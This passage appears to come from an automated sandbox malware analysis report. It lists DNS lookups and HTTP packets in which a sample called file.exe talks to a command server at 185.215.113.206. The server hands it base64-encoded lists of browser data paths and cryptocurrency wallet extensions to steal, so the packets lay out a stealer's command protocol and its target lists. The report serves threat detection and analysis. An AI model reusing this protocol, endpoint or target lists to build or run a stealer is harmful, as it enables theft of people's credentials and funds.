Nov 13, 2024 14:41:19.734625101 CET	192.168.2.7	1.1.1.1	0x2935	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:23.874134064 CET	192.168.2.7	1.1.1.1	0x78ca	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:23.874433994 CET	192.168.2.7	1.1.1.1	0x2ef8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:25.092163086 CET	192.168.2.7	1.1.1.1	0xf971	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:25.092525959 CET	192.168.2.7	1.1.1.1	0xeba9	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 13, 2024 14:41:26.811465025 CET	192.168.2.7	1.1.1.1	0x4008	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:26.812464952 CET	192.168.2.7	1.1.1.1	0xcb77	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:27.564747095 CET	192.168.2.7	1.1.1.1	0x76cb	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.564901114 CET	192.168.2.7	1.1.1.1	0x719	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:27.573028088 CET	192.168.2.7	1.1.1.1	0xa788	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.573162079 CET	192.168.2.7	1.1.1.1	0x3ff0	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:27.580507040 CET	192.168.2.7	1.1.1.1	0xd6c2	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.580779076 CET	192.168.2.7	1.1.1.1	0xdd22	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:27.583702087 CET	192.168.2.7	1.1.1.1	0xa92e	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.583828926 CET	192.168.2.7	1.1.1.1	0x198d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:28.192308903 CET	192.168.2.7	1.1.1.1	0x4e16	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.192470074 CET	192.168.2.7	1.1.1.1	0x87a1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:28.192831039 CET	192.168.2.7	1.1.1.1	0x2378	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.193046093 CET	192.168.2.7	1.1.1.1	0x911c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 14:41:28.245851040 CET	192.168.2.7	1.1.1.1	0x3a99	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.245975018 CET	192.168.2.7	1.1.1.1	0x3df6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 13, 2024 14:43:00.027048111 CET	192.168.2.7	1.1.1.1	0x78c8	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:43:02.543787956 CET	192.168.2.7	1.1.1.1	0x3bb8	Standard query (0)	dev-marcepan.grupa-abs.pl	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:43:12.569832087 CET	192.168.2.7	1.1.1.1	0x188f	Standard query (0)	ZByrsnSvAcGEaDRNGjI.ZByrsnSvAcGEaDRNGjI	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 14:41:14.917104959 CET	1.1.1.1	192.168.2.7	0x3a04	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:14.917119980 CET	1.1.1.1	192.168.2.7	0xce77	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 13, 2024 14:41:18.741398096 CET	1.1.1.1	192.168.2.7	0xd3cc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:18.741398096 CET	1.1.1.1	192.168.2.7	0xd3cc	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:18.742238045 CET	1.1.1.1	192.168.2.7	0x89d6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:19.741214037 CET	1.1.1.1	192.168.2.7	0x85f8	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:23.881640911 CET	1.1.1.1	192.168.2.7	0x78ca	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:23.881810904 CET	1.1.1.1	192.168.2.7	0x2ef8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:23.917269945 CET	1.1.1.1	192.168.2.7	0xeee4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:23.917392969 CET	1.1.1.1	192.168.2.7	0xee7a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:23.917392969 CET	1.1.1.1	192.168.2.7	0xee7a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:25.099102974 CET	1.1.1.1	192.168.2.7	0xf971	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:25.099848032 CET	1.1.1.1	192.168.2.7	0xeba9	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:26.818506956 CET	1.1.1.1	192.168.2.7	0x4008	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:26.818506956 CET	1.1.1.1	192.168.2.7	0x4008	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.97	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:26.819142103 CET	1.1.1.1	192.168.2.7	0xcb77	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.571751118 CET	1.1.1.1	192.168.2.7	0x76cb	No error (0)	sb.scorecardresearch.com		18.65.39.56	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.571751118 CET	1.1.1.1	192.168.2.7	0x76cb	No error (0)	sb.scorecardresearch.com		18.65.39.70	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.571751118 CET	1.1.1.1	192.168.2.7	0x76cb	No error (0)	sb.scorecardresearch.com		18.65.39.29	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.571751118 CET	1.1.1.1	192.168.2.7	0x76cb	No error (0)	sb.scorecardresearch.com		18.65.39.28	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:27.579981089 CET	1.1.1.1	192.168.2.7	0x3ff0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.580255032 CET	1.1.1.1	192.168.2.7	0xa788	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.587327957 CET	1.1.1.1	192.168.2.7	0xd6c2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.587368965 CET	1.1.1.1	192.168.2.7	0xdd22	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.590481043 CET	1.1.1.1	192.168.2.7	0x198d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:27.591097116 CET	1.1.1.1	192.168.2.7	0xa92e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:28.199090004 CET	1.1.1.1	192.168.2.7	0x4e16	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.199090004 CET	1.1.1.1	192.168.2.7	0x4e16	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.199238062 CET	1.1.1.1	192.168.2.7	0x87a1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 14:41:28.199878931 CET	1.1.1.1	192.168.2.7	0x911c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 14:41:28.199892998 CET	1.1.1.1	192.168.2.7	0x2378	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.199892998 CET	1.1.1.1	192.168.2.7	0x2378	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.253177881 CET	1.1.1.1	192.168.2.7	0x3df6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 13, 2024 14:41:28.253444910 CET	1.1.1.1	192.168.2.7	0x3a99	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.253444910 CET	1.1.1.1	192.168.2.7	0x3a99	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:41:28.576639891 CET	1.1.1.1	192.168.2.7	0x6664	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:41:29.593451023 CET	1.1.1.1	192.168.2.7	0x1558	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 14:43:00.034486055 CET	1.1.1.1	192.168.2.7	0x78c8	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:43:02.560337067 CET	1.1.1.1	192.168.2.7	0x3bb8	No error (0)	dev-marcepan.grupa-abs.pl		212.87.244.196	A (IP address)	IN (0x0001)	false
Nov 13, 2024 14:43:12.579240084 CET	1.1.1.1	192.168.2.7	0x188f	Name error (3)	ZByrsnSvAcGEaDRNGjI.ZByrsnSvAcGEaDRNGjI	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 14:41:06.274771929 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 14:41:07.179677963 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 14:41:07.263082027 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 39 46 36 36 43 34 43 31 31 42 31 34 31 30 32 37 37 36 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="hwid"D69F66C4C11B1410277619------KJEHDHIEGIIIDHIDHDHJContent-Disposition: form-data; name="build"mars------KJEHDHIEGIIIDHIDHDHJ--
Nov 13, 2024 14:41:07.558681965 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 32 49 78 4e 32 59 30 4e 32 51 34 5a 47 51 7a 5a 6a 52 6d 4d 32 45 32 4e 54 41 33 59 6d 49 30 59 7a 59 32 4d 47 55 32 4d 6a 63 31 4e 57 49 33 5a 44 42 6b 4e 6a 45 34 5a 44 68 6d 4d 6a 68 69 5a 6a 6b 79 4e 32 4d 77 4d 7a 59 32 4f 54 63 35 4e 57 49 32 4d 54 59 78 4e 32 59 31 4f 44 52 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Y2IxN2Y0N2Q4ZGQzZjRmM2E2NTA3YmI0YzY2MGU2Mjc1NWI3ZDBkNjE4ZDhmMjhiZjkyN2MwMzY2OTc5NWI2MTYxN2Y1ODRmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 13, 2024 14:41:07.559998035 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="message"browsers------KKKJEBAAECBGDHIECAKJ--
Nov 13, 2024 14:41:07.839935064 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 13, 2024 14:41:07.839961052 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 13, 2024 14:41:07.842133999 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"plugins------DBFBFBGDBKJJKFIEHJDB--
Nov 13, 2024 14:41:08.123119116 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 13, 2024 14:41:08.123325109 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 13, 2024 14:41:08.123353958 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
